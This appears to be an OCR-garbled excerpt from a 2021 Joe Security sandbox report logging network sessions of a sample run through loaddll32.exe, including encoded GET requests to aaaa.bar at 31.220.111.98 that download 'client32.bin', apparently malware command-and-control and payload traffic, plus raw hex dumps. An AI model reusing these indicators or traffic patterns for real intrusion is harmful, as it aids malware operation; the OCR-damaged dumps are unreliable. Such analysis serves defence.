3b eb 46 b9 92 bf 30 9f dO 97 {7 68 13 8c 4f ec d3 8¢ 98 37 3b 38 Oc 51 23 b9 fO b7 b7 68 ff 4b ce a9 e2 e3 Oa fb €3 28 6e
38 b4 86 ed 03 1a b9 b3 8d e3 35 69 c2 0f bd f8 60 4a 2a ba b5 be 77 d8 2c 7e 54 ea b0 d2 c4 21 2c 2f 64 67 78 04 20 fb
5 b4 13 84 8f 93 92 a9 da b7 b0 d8 c4 f3 26 b2 9b 6b d4 41 a2 c0 2c 65 66 7d 01 c0 92 8f 3e be 38 el 5d 3b d7 Of a8 6f 1f
17 €3 68 76 c4 94 df 75 68 dc cf b3 96 d9 68 a9 37 d4 9e 63 ee b1 03 af 8a 98 78 93 81 67 51 05 29 ae f7 06 1d 8d 12 90
1 82 ea b8 3a bb 3b 1a 73 ab 17 ff bb Oa ba al e4 5b 0f 0d b8 1e 90 30 67 3c 7b 7f 44 09 be Ob ee fd 94 d7 8d fb 6a e7 6f
b3 40 4c 70 ab fe 15 b8 b5 c¢7 €8 0d 01 1a 59

Data Ascii: "25*r025 >]MB;FOhO7;8Q#hK(n85i"J*w,~T!,/dgx &kA,ef}>8];0hvuhh7cxgQ):;s[0g<{Djo@LpY

Destination IP Destination Port Process

31.220.111.98 443 C:\Windows\System32\loadd|I32.exe

Data
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kBytes
Timestamp transferred Direction Data

2021-10-20 13:12:15 UTC 1318 ouT GET /jdraw/H4GjPkmE7AedOn2/SaetnicpaebgBYZBph/BvmQBH2Ya/Oa705fA_2FxihzNsKVGG/_2BKOERNO0ze3S
tZ8PJO/K9jrIAYK2cirY DQTLgIFGo/m_2BMIG_2Ff7J/M2tNW_2B/IwKxyFyNvYCJPpLYcu2z3fg/Co6_2F9DSd/ae
V2ilileaWP_2B3q/B8li95Syxk_2/BFqOHwWCSf6U/KNFKNxJjQfI9vK/6tnrhCZ8FpH5|_2FDWF/IT.crw HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: lang=en

2021-10-20 13:12:16 UTC 1318 IN HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 20 Oct 2021 13:12:15 GMT
Content-Type: application/zip
Content-Length: 178758
Connection: close
X-Powered-By: PHP/5.4.16
Set-Cookie: PHPSESSID=o0dtoci95m4hvgdsrbg2j2bach6; path=/; domain=.aaaa.bar
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Pragma: no-cache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin

2021-10-20 13:12:16 UTC 1318 IN Data Raw: 48 09 14 d8 bf b2 ec 04 c8 3f fb 4a d3 80 06 fO bd 59 db e6 a5 dc 23 c3 ¢4 68 50 2b c5 72 6b 51 b9 b6 5d f6 b0
8c eb5 6¢ 92 cd 4f eb 84 b9 2a 59 c3 36 el e6 ff 74 17 e2 17 9f 76 48 e1 10 ¢3 10 20 de 74 a3 61 05 3d 18 af ac d1 94 a7
dc dc 5f f5 ba 05 9e 73 7e 12 fb ¢3 d6 e6 b3 38 19 98 c6 03 29 3f e2 e7 e 10 4f f5 6¢ 76 05 ad a2 46 50 82 ef cd d6 8c Oe
b7 d4 7a 83 Ob da 2d 3f 56 17 al 34 c0 54 e5 30 ea 5b 21 4d d8 8f 21 be 07 db Ob 89 d7 cf 77 3b 02 38 71 1c 1f 9b 78 8e
6f 9b b0 e6 1c 94 9b b3 54 21 79 3e 7e 33 82 21 be 10 b5 61 81 24 d9 8a 08 f5 e7 50 bd 70 de 91 53 e6 73 d6 c6 19 5e 05
39 caaa 07 24 5b aa 6¢ 8c 1d 89 d8 40 d1 82 e6 df 9e 85 6d c2 2a f3 5b 6b a5 60 05 cd cf 4f 2¢ bf c1 14 5d d9 66 4e 14
99 c2 6a 73 24 a6 b0 d9 6e 5b Oc a9 73 a8 5e db 86
Data Ascii: H2JY#hP+rkQ]IO*Y6tvH ta=_s~8)?0IvFPz-?VATO[!M!w;8qxoT!y>~31a$PpSs"9$[l@m*[k O,]fNjs$n[s"

2021-10-20 13:12:16 UTC 1334 IN Data Raw: 9d 93 c7 ee a4 f6 76 97 81 b0 53 2e b9 4a d2 2e Oe d1 fO 42 c8 99 45 c3 4f 1b 82 3a 6¢ 44 b1 dO 4e 60 68 Of ca
aa 59 27 0d 82 44 0f Oe d8 6¢ a5 f2 5a 2b 34 51 Oc 9e c0 fe 2b 71 00 27 20 Oe 37 af 8d a3 95 5f 9b 29 c9 d8 35 b8 2a 66
d5 20 3a 90 9c 22 7b b6 ab 88 6e 32 bd 60 33 05 b1 67 fO a8 e4 ca 6d 9d Oe db 05 ea 8c cc aa 2a b6 75 21 e3 ac 76 51 cd
be €0 2d d9 17 8b 7 c2 2d a6 66 €0 ad fO fe d4 f9 06 9d 93 f2 9f e0 ab 3b 40 70 7 be 38 ab b5 b6 ee f6 ee 83 bf 4c 8e d3
3532 fd €9 f1 8d 4d ac 91 22 ad 48 0d 4e 9f 67 4d 93 75 8¢ 40 39 88 5f 8f c3 b6 ae c1 b3 77 07 58 4a 8e 45 b8 47 ae 5¢
de 2b ed eb 0d 10 0f ba a7 6a 62 62 23 12 29 2e 35 bb bc 51 44 0b ef 76 63 8f €0 b2 0f bc 50 7e 3e cb 02 20 8¢ 8d 42 4b
38 46 53 8e 6d f4 f8 e2 95 21 09 75 23 20 5f af b7
Data Ascii: vS.J.BEO:IDN'hY'DIZ+4Q+q' 7_)5*f :"{n2"3gm*ulvQ--f; @p8L52M"HNgMu@9_wXJEG\+jbb#).5QDvcP~>
BK8FSm!u#

2021-10-20 13:12:16 UTC 1350 IN Data Raw: 3e b5 30 97 fa 16 ce dc da ed f8 bb 1c b3 d7 33 42 62 26 04 50 c9 ae a2 8a d7 Oc bd 59 fa 3d b7 94 9e e8 25
4b 9b 40 be 76 e8 3a ad 03 7f 12 a2 78 80 35 36 16 85 39 d8 c9 fO 3c 10 35 d3 2b 07 8d 44 02 38 bc e6 85 7c €7 8b b7 25
8b 79 c87aeeee lbcc 7206 c82ael 17 alc7 c54168 7509 bl c5320b5e 0301 f63bcc 77 07 e5 6f 4d 51 1b 95 cb
1d 16 30 1a 06 c1 a5 cd 08 al b6 f6 26 4e ba f8 a2 49 2c 1c 43 76 d1 a5 c5 47 99 6e 05 bd a7 1e c6 e6 03 94 f4 ad be 58
f1 71 89 43 63 13 8a 1e 32 e4 a8 18 93 ef 2e ba df ab €9 4a d2 fa d6 04 09 ea c4 5f 8b 7f 3d 5b 34 da 69 e0 c2 25 12 36
56 84 e8 0d c5 Oc da eb 25 6e 41 a4 06 88 94 49 21 bb ee c0 23 70 60 51 b2 1c 2a 91 f0 36 d2 dc 76 ff c1 98 7d db 35 a6
034 49 15 d9 c4 81 fd f6 5f 7d 0f 67 9e d1 54 05 f8 7f
Data Ascii: >03Bb&PY=%K@V:x569<5+D8|%yzr*Ahu2*;woMQO&NI,CvGnXqCc2.J_=[4i%6V%nAll#p Q*6v}5l_}gT

2021-10-20 13:12:17 UTC 1366 IN Data Raw: 50 le Ob ac 4a ce ee 01 ¢3 32 96 1b bd 04 7 Oa c8 3b 88 1e e6 d3 b0 de 5¢c b7 76 9f 20 66 82 13 55 7a 3e 5¢
cb 79 14 ab 5c fa 96 18 €5 67 d2 19 90 78 9f ee 30 8c f1 3f 2e d6 ec ba 9a 6b f8 da 05 d4 37 52 8b a3 Oa 1a 19 05 Oa e7
5a 88 00 8b 2a 36 08 41 f9 1b 9 97 d2 26 Oc 97 de 7 ed c6 73 ab d5 8a 06 ef 27 be 0a 4e c3 0a e9 be 5a 6f ac a9 19 20
98 07 51 2b 13 07 36 be 09 b9 b7 41 1a 66 56 b6 bl 3a ac 8f ch 62 3b fa 4f 63 78 a8 29 6¢ 69 cf 83 6b al al d5 9f 98 7
5183 7c ¢3 25 ch 56 a3 1a ed 3c 71 bf 38 00 08 af db ca ee f7 a8 d4 e4 9d 6a c1 40 23 50 7b 4c 57 46 6b c0 32 7e c6 7f
ed 56 ba 66 2f 2a cb el 7e b2 be 9e 61 5c ec Oc f3 b4 44 15 72 4b 72 d5 74 52 32 24 1b 01 72 73 3a 2d cc 39 53 67 ce c3
46 2f b5 04 d2 76 50 fc 1f 74 13 2b 4b bf 91 37 05 27 c4
Data Ascii: PJ2;\v fUz>\y\gx0?.k7RZ*6A&s'NZ0o Q+6AfV:b;0cx)likQ|%V<q8j@#P{LWFk2~Vi/*~a\DrkrtR2$rs:-9SgF/VPt+K7'

2021-10-20 13:12:17 UTC 1382 IN Data Raw: 14 89 b0 b4 78 16 cb 9a d1 b4 2b 9a 06 d1 06 1a 64 a3 10 4c ce 3a 8a 60 7c 73 b2 8b 7e 79 af a2 dc d1 6f 54
60 79 9f f4 96 38 4f 3b 0d 9e 31 ea cl 4b 1a cl 40 09 64 af 88 bc 54 18 ff 22 1f c7 04 06 86 79 fb 40 18 e4 1a 1f 36 a5 9e
94 ba 5f b7 60 6a 56 6a 8d 1c a6 41 53 d8 ca c6 a4 5a aa 51 ab a7 27 00 4d e4 3b e8 81 18 ba ea 8e 7c 6e 65 4d al a0
1c 3f bf 81 27 ¢8 85 c0 08 €9 ee 06 ¢9 47 cd a4 58 3¢ 71 b2 83 94 31 1c 7f a7 b3 c7 68 34 ff 5e 29 23 a3 8c al 21 90 5b
3d 77 c6 bb 48 39 f2 a4 c2 e2 4f 7c 9d 9¢ Oc c3 9d fe 5¢ 92 64 89 al d0 fa a3 75 d7 55 4c 6a a7 d1 94 d1 8f 1c 3e a2 09 ac
7b 60 d0 83 ad 42 4e ab ec 59 29 Oa 2a 1f e9 60 95 6¢ 49 ea 7a 2e 96 60 81 72 16 79 a5 4d 7e 07 06 45 08 e2 6¢ 71 c5
eb 61 b2 5a df Oa f4 6f e7 bc 9d 8d ea 30 3e 9a 93 94 da
Data Ascii: x+dL:'|s~yoT y80;1K@dT"y@6_'jVJASZQ'M;|neM?'GX<q1h4")# [=wHIO|\duULj>{' BNY)*lz.'ryM~ElqaZo0>

2021-10-20 13:12:17 UTC 1398 IN Data Raw: b3 89 01 8c fe ba 6b 9a 67 71 00 b5 fc 2a 36 f6 da c3 1f 71 26 a8 a4 a7 99 49 ad 9f 98 07 72 49 d2 42 4f 4b 87
6e fc 54 5a d2 8f 20 8e fd 64 5e a3 fa €8 e8 a4 2e 96 44 4b 9f 5¢ e0 da 8c 65 de 38 cb 99 b5 c2 61 3c 10 58 fc 70 45 b9 22
4e b7 Oc b7 aa 95 18 05 da 73 ba 96 45 67 6f 1f 8f 3f a4 c0 f4 27 8f 3c 74 87 ac 75 a4 60 40 a2 47 b6 95 62 ae 8a 02 b6 4f
82 4b ae e2 3e aa 89 2a 8a 73 f3 50 96 97 34 7c 13 4f 6e 83 a3 fc 70 a0 d7 d6 2c ab 65 52 59 08 89 4f 9a 41 3a 75 93 17
3249 b9 4b ad 60 1e 6f cO 08 dd 14 90 45 75 08 25 ed 73 d2 81 6d 12 83 b7 69 3f 61 14 79 65 db e6 Of 88 64 ea f0 54 e9
eb 31 05 70 d4 a0 5f a9 81 74 60 32 79 cd 93 54 32 09 45 9e 7b e7 12 05 3f b1 da b3 7a 35 5¢ 61 d6 43 6b ee 2f 39 9c 36
e7 db 22 cb aa f7 db 71 81 aa 8f 36 32 9d ea 04
Data Ascii: kgg*6q&IrIBOKnTZ d*.DK\e8a<XpE"NsEgo?'<tu’ @GbOK>*sP4|Onp,eRYOA:u2IK oEu%smi?ayedT1lp_t 2y
T2E{?25\aCk/96"q62

2021-10-20 13:12:17 UTC 1414 IN Data Raw: fa f6 33 1b b6 39 49 89 e2 64 a4 95 al ac b1 bl 0a 42 b2 10 f8 d8 01 53 9c f7 3c ad 2d 4c 84 3b 72 ce 23 df 17
cf 5e 3e cc b4 61 04 ¢5 52 ab a7 b2 2b 23 54 1d 1a 01 d4 36 2d 3d ae b0 le 7b 7a ff 48 9¢ 28 cc da a6 c0 95 ae 62 af dO
74 b3 cb c6 21 de c0 d7 df bd 9a 7a 14 43 58 00 36 9a 60 23 b8 7c af 09 42 b2 a5 fa d6 c1 6d 92 75 e0 22 a8 96 df b7 e3
7d 27 07 b8 30 01 e4 79 d4 29 b4 86 db 90 69 34 61 8d e2 8c af 36 2d 33 64 ee a8 62 a9 96 05 7b 22 d8 8a 22 1e af 8b d8
6e 6f 6a c3 e8 88 e5 d1 12 3c 6b 99 75 9d 62 8a 2b 40 95 20 fa bl 07 ae 20 d2 79 58 97 3a 01 cb 67 c5 61 €8 a0 3a b7 91
7a e4 de 6f Oe 67 7f Ob ba b4 43 63 12 a3 91 7e b2 Oc 86 68 83 9a ec 19 98 b1l 9f €8 39 50 b5 06 3e 1d 85 a3 c9 f5 ed fe
b2 27 dd bd 52 a6 Oe b9 ca e3 Oc 42 Oc e5 3d 29 83 63
Data Ascii: 391dBS<-L;i#">aR+#T6-={zH(bt!zCX6 #|Bmu"}0y)i4a6-3db{"'noj<kub+@ yX:ga:zogCc~h9P>'RB=)c
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kBytes
Timestamp transferred

2021-10-20 13:12:18 UTC 1430

2021-10-20 13:12:18 UTC 1446

2021-10-20 13:12:18 UTC 1462

2021-10-20 13:12:18 UTC 1478

Session ID Source IP

2 192.168.2.5
kBytes

Timestamp transferred

2021-10-20 13:08:50 UTC 11

2021-10-20 13:08:50 UTC 14

2021-10-20 13:08:50 UTC 15

2021-10-20 13:08:50 UTC 15

Copyright Joe Security LLC 2021

Direction

IN

Source Port

49827

Direction

ouT

Data

Data Raw: 6d cb 2f 68 18 60 2d 77 7b 30 3e f7 16 cb 06 0d ed 04 7c 58 12 ba 32 5b 9c 9a 7f d7 f9 fO 4e 8¢ 00 db dd 67 2a
90 2f 32 dc 27 d5 61 ce ab bf d6 11 fb ef a4 b2 59 d5 28 f8 cc 9e 5b 36 91 89 3a c4 10 e4 8b 1a 17 al ed Ob 5¢ 99 35 16
ad ed 6f 90 d8 d7 f3 60 b0 68 74 65 75 fd 9e b5 f7 8d 71 5a c7 ed 4f 3e 44 aa de 1f a0 35 1b 8b 00 6b 03 a7 d8 ac 64 af 04
98 af 4a aa 76 d0 90 99 69 1b 71 f1 60 33 4d c3 20 1a b6 a7 46 bb bd 33 07 92 09 47 ae a6 bb 51 19 18 c4 dd e6 5c 04 cf
3 b4 72 34 23 5f 4c 52 b6 30 bd d2 e6 d6 f2 ba de 47 d3 cb 25 0d b2 0a 7e 6b f1 1c e6 81 33 c1 ef ae 35 8b 35 f4 al 56
97 2fc6 5¢c 72 Ob 1e 9d ef b1 8c 20 Oa fe 42 f2 64 5¢c 0a 96 17 f8 e6 06 40 c1 fe 3d f2 fe e8 40 42 e0 a3 ee a5 99 e 5e ea
el 53 5a 05 0a 63 50 7358 e5 6f 13 d1 72 88 al

Data Ascii: m/h™-w{0>|X2[Ng*/2'aY ([6:\50 hteuqZO>D5kdJvig 3M F3GQ\r4#_LR0G%~k355V/\r Bd\@=@B"SZcPsXor

Data Raw: 53 62 ae a3 d9 7e 7d c3 98 68 9b fd 89 49 70 57 Oe eb 52 29 d6 62 €9 f2 1d 7c d2 46 2f a4 96 33 f6 b6 b3 94
d7 30 63 04 db fb 60 4d 2c 82 18 01 17 89 2f 44 Qe 4f 7f 5f b2 79 c7 f3 f9 88 ad 5e 15 d3 3f c9 fd 72 fd 77 87 17 60 75 8
85 83 6b bc 96 51 7a 33 23 e7 bf aa f3 5¢ 3e cd f2 10 54 dO c5 f8 aa 0d ¢9 05 d8 c3 6¢ ef 6a 00 de 77 81 77 d9 fa d9 93 71
85 14 dc f0 13 ff 87 f6 7f 1d 3c 3d 29 77 97 16 13 13 fa €5 8b e9 c9 c1 ad 5¢ 0d a5 b7 be 11 a6 85 a8 5b 1b d8 ae e7 85 ff
€8 46 47 ed al 40 b2 bc 1a 82 fc d0 9c a8 32 b7 dd 06 cf 50 34 72 6b 24 ad d7 ec e0 ac 79 27 1e 9d 26 e2 le c2 42 2a e8
eb 49 33 b2 8f ad b7 7c 81 79 73 6f f8 af d3 6b 80 7c el 13 21 f7 60 Ob €0 ff 59 a0 f8 81 3e 7f 44 55 87 59 5e 53 c0 3a 96
a9 09 3d 45 f0 e4 5b b7 1d c6 5d 47 01 ed a4

Data Ascii: Sb~}hIpWR)b|F/30c’M,/DO_y ?rw ukQz3#\>Tljwwa<=)w\[FG@2P4rk$y'&B*I3|ysok|!"Y>DUY"S:=E[]G

Data Raw: 5b a1 00 c6 64 27 dO af 5b el 4c ed c1 71 6f 5b f5 7b 94 53 8c e5 92 1e b4 2f 7d 8d c5 5a e6 ac Ob 6e f5 0d 40
99 f2 a5 d4 40 d4 71 e9 23 2c 40 bb 6f eb 96 73 Oe f9 51 ¢8 63 9d 33 49 Oc 31 7e 88 5¢ 3e 3c 15 7 97 48 32 f8 2b e6 fb 88
lae038e7 135863 9de780c5f03eba9l420d 7fcd e9 0d ca e3 el 81 57 f5 94 7b 71 2f 6d 7c b4 2a f7 6e 85 74 50
94 a5 43 ¢7 77 00 5e b4 6a c4 a9 37 d4 dc 5f b2 55 b9 d9 f4 e1 81 94 56 02 73 a8 36 b4 9e 4c 53 32 2¢ 31 20 01 8d c0 58
2a fc df b0 40 cf c3 6e e0 e3 b2 9d 67 10 e6 39 cc 37 2e 73 f7 4d 50 e2 6d 58 bd 3a 55 df 58 64 a3 a7 Ob 6a d4 6e al 4d
01 38 6¢ 37 62 fe 10 18 92 15 6¢ d7 7a 2b 46 28 01 c7 58 63 82 80 26 be a3 71 09 9d a3 02 22 2a 19 a5 30 a2 08 40 9a
1c 4f 78 9e 17 cd 38 fe dd 3c 7f 14 42 23 ca 13 19 6e

Data Ascii: [d'[Lqo[{S/}Zn@ @g#,@0sQc3I1~\><H2+8Xc>BW{g/m[*ntPCw"j7_UVs6LS2,1 X*@ng97.sMPmX:UXdjnM8I7
blz+F(Xc&q"™*0@0x8<B#n

Data Raw: e2 dd d8 1c c8 ef 82 c0 af 65 b2 ce cf 9b cd 9b 52 al 8 80 fe e4 7d a5 36 12 88 cc 61 8a 33 bd 39 e6 58 9f 50
01 1c 4d 01 b4 eb 19 a5 a3 ec 06 45 14 c2 d5 47 4e f9 a8 14 fc a6 64 43 36 fb 29 34 85 de d6 b9 f8 bc 81 aa ee fb 1e e6
dO 7e Oc 8e 4e b9 31 Oc 12 af €9 e6 fd 22 d2 c6 50 16 a6 02 1d 7a f6 2b d3 46 07 4f e6 73 ed 53 38 c2 58 45 28 58 3a bl
6 c3 18 df 96 8a 6f 7e ff 15 c1 12 a6 b6 ac 7f c1 Of ac 94 31 88 b8 1f 5f 74 d9 63 e1 94 11 49 c3 dd 20 d2 c4 78 26 12 f1
60 73 6d 29 bf 09 38 72 79 07 13 3c 13 08 1e 76 10 10 55 a4 fc d1 65 f1 a9 7a 28 bd a7 c6 2e ce 43 31 2e 3d 3b b4 7f b0
2e b5 1b 6¢ f5 84 98 81 €2 31 55 d2 a7 40 7e 40 c4 a8 e0 2e f9 ef 8¢ 00 21 f5 26 dd 7c 76 30 ba 5a 76 4f d3 3c 6a e2 da Of
7c 1476 42 02 d0 a6 c3 58 3a 01 7c e3 74 fa bc

Data Ascii: eR}6a39XPMEGNAC6)4~N1"Pz+FOsS8XE(X:0~1_tcl x& sm)8ry<vUez(.C1.=;.11U@~@.!&|v0ZvO<j|vBX:|t

Destination IP Destination Port Process

104.26.3.70 443

Data

GET /px.gif2ch=1&e=0.9973131461099627 HTTP/1.1

Accept: image/png, image/svg+xml, image/jxr, image/*;q=0.8, */*;q=0.5

Referer: https://www.msn.com/de-ch/?ocid=iehp

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept-Encoding: gzip, deflate

Host: ad-delivery.net

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Wed, 20 Oct 2021 13:08:50 GMT

Content-Type: image/gif

Content-Length: 43

Connection: close

X-GUploader-UploadID: ABg5-UzSZ-Kt1WbGdd88HICnZf7YcJGLu-DR5tPWPS9bXoxAsvIYwt4jGn6LAH0ZbG34
scttOvecv7iFCIZEXLBCcbRVF7nEjw

Expires: Wed, 20 Oct 2021 13:50:16 GMT

Last-Modified: Wed, 05 May 2021 19:25:32 GMT

ETag: "ad4b0f606e0f8465bc4c4c170b37e1a3"

X-goog-generation: 1620242732037093

X-goog-metageneration: 5

X-goog-stored-content-encoding: identity

X-goog-stored-content-length: 43

x-goog-hash: crc32c=cpEfJQ==

x-goog-hash: md5=rUsPYG4PhGWS8TEwXCzfhow==

X-goog-storage-class: MULTI_REGIONAL

Access-Control-Allow-Origin: *

Access-Control-Expose-Headers: *, Content-Length, Date, Server, Transfer-Encoding, X-GUploader-UploadID, X-Google-
Trace

Age: 132

Cache-Control: public, max-age=86400

CF-Cache-Status: HIT

Accept-Ranges: bytes

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"

Report-To: {"endpoints":[{"url":"https:VVa.nel.cloudflare.com\/report\v3?s=9UdSBPg7KxPLY XkLYWWw%2FzfU%2Bj|3
Im61mPRAcM6vy1WitpDOvU4QqlZueRvpAAIWKKEKeNsWBxbK5rXPsIBckXDOVoDPWX1iA5qjHzheJG5ufELPAVgmM%2
BVI61HEQeb3ISQ%3D%3D"}],"group":"cf-nel","max_age":604800}

NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}

Server: cloudflare

CF-RAY: 6a127a271d351f1d-FRA

Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00
Data Ascii: GIF89a!

Data Raw: 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b
Data Ascii: ,L;
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Session ID Source IP Source Port Destination IP Destination Port Process

20 192.168.2.5 49970 31.220.111.98 443 C:\Windows\System32\loadd|l32.exe
kBytes
Timestamp transferred Direction Data
2021-10-20 13:12:20 UTC 1493 ouT GET /jdraw/WNAIg8cEc/UcfXfHTDCraOPVAXQOu0/IBGE8nVsnVmaTWmgqt_2/FgXrkKfYIQUDVTSC9YOK9U/edsq3

gaEaK4UV/nX98HXXg/zJ1jx_2BUwWSFKIi5F8AIb_2/FG3fGkSRfJ/J4BestfVNDAUFKDxV/xH_2BYMBJIKGO/i9O5kI
15Exg/Ujf1s7nWsRKDBP/pBWe2EoKcTyJWOr5TV220/pk_2FzstpMvpdzlO/Mg8HfsXB/P.crw HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)

Host: aaaa.bar

Connection: Keep-Alive

Cache-Control: no-cache

Cookie: lang=en; PHPSESSID=odtoci95m4hvgdsrbg2j2bach6

2021-10-20 13:12:21 UTC 1493 IN HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Wed, 20 Oct 2021 13:12:20 GMT
Content-Type: application/zip
Content-Length: 227913
Connection: close
X-Powered-By: PHP/5.4.16
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: public
Pragma: no-cache
Content-Transfer-Encoding: Binary
Content-Disposition: attachment; filename=client32.bin

2021-10-20 13:12:21 UTC 1494 IN Data Raw: 7a d8 e7 e8 5a b1 41 33 b2 bc 98 al 2d 68 13 0f 97 e9 11 38 74 e6 87 20 80 55 24 d2 32 ca b0 b5 fb ef 70 18
d4 d5 42 17 72 8e d5 2f 06 81 8a 8a 11 9a ce 93 c7 7d 46 ec 89 6f b9 08 6e 3 e9 5b bb 4a 79 2d ee 4e {7 bd 61 1f 44 cd
0a f7 36 20 5a 91 04 8e c1 33 8f {7 b1 d2 4e a6 Oc 00 cd 68 f5 3a 14 99 e6 2b 34 95 d5 f2 e2 94 d4 Oc 25 ae 18 03 78 09
8e f0 c5 6d 1b ab 49 c1 ad 79 81 48 e4 18 22 57 b8 52 0d 2c 28 17 6f a0 8b 55 5f 4b b3 ff 20 9e 5b 8 e2 dd 1a 3f da c4 ce
aa 67 12 2e 97 13 2a f0 f8 bl ff f1 €6 74 f3 a8 1c c9 9e ed 04 cf 21 b7 dc 2c 23 07 33 02 1b 7 d2 cc 06 e3 d7 20 04 e5 45
b7 db 43 76 2e c6 52 d0 4e d3 fe f7 73 59 44 33 b9 94 7e 52 1a 0f 88 95 66 09 Ob 79 84 05 4d 1f b8 a4 eb 7b 33 8a 20 c9
4a 1a 36 2a 02 4b 45 ec 8¢ 07 04 f7 14 dO 74 ce ec
Data Ascii: zZA3-h8t U$2pBr/}Fon[Jy-NaD6 Z3Nh:+4%xmlyH"WR,(oU_K [?g.*t!,#3 ECv.RNsYD3~RfyM{3 J6*KEt

2021-10-20 13:12:21 UTC 1509 IN Data Raw: 2e 4a 31 ca f3 2b be 89 95 34 73 d7 cb Oc 35 50 c4 f1 24 68 8b 88 fc e3 a7 a4 41 86 f8 78 72 ba 2c 90 c1 e3 b3
fd cc d2 05 5¢ b3 e9 df 42 3a 66 1d 3d 9c 30 db dc 67 7b ab 0a 63 9e 99 3a e3 34 02 9b e3 c3 2a 8e 7b Oa Oe d6 b3 13 54
08 d7 62 5c c8 8a f5 3f 45 1a 48 f9 ef 9c 14 54 a6 b4 3d 2e 56 59 e6 16 5b 29 3c 7b 64 d9 3f 07 fa 80 Oa 6a b7 ba 82 65 f6
e2 03 5c 3f 54 5¢c a2 73 0f 30 1a 81 cf 8b e6 ab €2 01 73 0f 1e 18 75 ad 97 26 cb 15 de 15 d6 48 cb 51 79 8f 3f 63 7b 8f f1
92 43 f0 4f 57 de 6¢ 4e ad b8 1f f6 47 b9 a2 d8 bc 92 4a 95 19 03 62 3c 8d 67 62 d1 80 db d2 f7 06 37 5¢ Of 39 52 04 32
b5 99 20 Oe ee 13 87 8f c5 el 15 23 87 6f d4 a4 3f ae fc ef 14 81 fd fb 27 56 6a a0 df 16 76 77 a2 ca c9 af bc ab 64 2a 89
5d 62 98 bf bb 00 02 3f e2 68 b0 35 6a ef 7e
Data Ascii: .J1+4s5P$hAxr,\B:f=0g{c:4*{Tb\?EHT=.VY[)<{d?je\?T\sOsu&HQy?c{COWINGJIb<gh7\9R2 #0?'Vjvwd*]b?h5j~

2021-10-20 13:12:21 UTC 1525 IN Data Raw: 1b ¢5 c1 52 5d e8 1b 9f 71 ab Oe Ob 8a 06 41 dO 4e b2 cb 38 c5 78 ca 47 e5 5b 37 6b 00 6a a2 3b 43 82 Ob 40
3b 9b d6 a7 5¢c ba 97 be 1f e7 ee af 71 bb 24 48 79 84 77 57 bc ab 4e bb f7 97 e6 el 0d 53 9e f0 14 bf 31 5d 58 05 68 f2
a0 17 71 1c ad 45 3f ae c8 bc a5 aa 93 eb ba c8 a7 67 ac 5¢c eb d9 b1 07 eb 5f 17 c0 18 44 Oc f2 3d e5 81 b3 8a 93 07 8¢
a4 fa 37 bc 6f 4c al a0 6e 28 50 74 08 0f 4a 51 66 bb b7 f9 2f 6e 3c 71 74 ff d7 8c 9e b5 56 56 9c a7 22 d5 d7 29 76 b5 2e
€9 c9 bb bc 74 89 5e 8b 63 a9 b2 5f 63 13 02 9¢ 34 83 60 13 85 42 2e a4 07 d3 64 e0 bf ec b0 74 b5 5d 30 8f 37 aa b8 eb
b6 97 ef d8 c1 41 32 84 02 bf c5 59 16 51 ¢4 c9 d5 e2 66 32 ef 4b ab 59 9e 90 a0 d8 db c6 fb 78 77 d3 df b2 65 22 a3 66
bb 19 18 43 48 26 2f b4 dc 7b 68 0d 6e 34 d8 2b d0 43
Data Ascii: RJgJAN8XG[7kj;C@;\q$HywWNS1]XhgE?g\_D=70Ln(PtJQf/n<qtVV")v.t*c_c4 B.dt]J07A2YQf2KYxwe"fCH&
hn4+C

2021-10-20 13:12:21 UTC 1541 IN Data Raw: 5f 7a 9f 35 09 63 55 53 bb 4b 41 13 f0 91 f8 0a 07 60 7b f7 55 83 b4 a5 17 86 71 27 6b 8d 18 729 43 15 c2 61
8b 60 90 27 €9 c9 13 a2 a0 63 2f 4d 2a 03 5a 41 7f 9f ab 65 f3 69 ce 1b 35 41 db 34 ea eb d6 9d 9f 13 e8 da 77 03 6a d8
e8 da 4f Ob 2b 13 51 a4 96 a7 47 32 59 77 45 Oe b9 1f 3f 73 be 78 a0 8b a6 2d 08 2a 52 36 5b 9d ee c1 d3 49 99 23 d5 5b
a7 7583 e2 18 23 e6 f1 ea 0d 54 aa 2d c6 ee 57 34 e5 fb 67 f2 4b 03 93 72 06 90 b3 b6 3e 4b 0d a4 7f 44 69 e4 dc 3f 91
e0 72 6e 51 e4 59 b9 2d 88 6f 71 75 62 c4 aa f8 c6 f9 3f f1 7f cc f0 29 ea 89 7c 41 40 97 26 1c d1 5a 80 46 a4 7e fd 7b 04
0Ob 75 65 21 25 9a 05 08 e6 80 cc 1a 48 15 cc ¢7 14 c2 d7 ab bb 00 83 16 00 d3 4e 21 b2 50 29 94 10 54 24 aa c8 23 81
b3 16 cO fd de fd 17 01 de 7a 04 d1 0f d1 52 69 97 78
Data Ascii: _z5cUSKA{UgkrCa 'c/M*ZAei5A4wWjO+QG2YWE?sx-*RE[I#[u#T-W4gKr>KDi?rnQY-oqub?)|A@&ZF~{ue!%
HN!P)T$#zRix

2021-10-20 13:12:21 UTC 1557 IN Data Raw: f6 dc b3 15 4c d1 14 b8 eb 59 b9 el 37 08 b7 e2 48 73 d3 5f 58 44 83 57 60 8a b5 ba 46 dd e5 13 b4 4b 9f fa
b9 3b 16 57 c6 74 ba b7 ca ae da 55 18 25 a9 61 16 1d 54 de c6 Oe 93 ad 72 af 8f 01 7f 9e e5 c2 30 ce 18 65 €9 8d 33 23
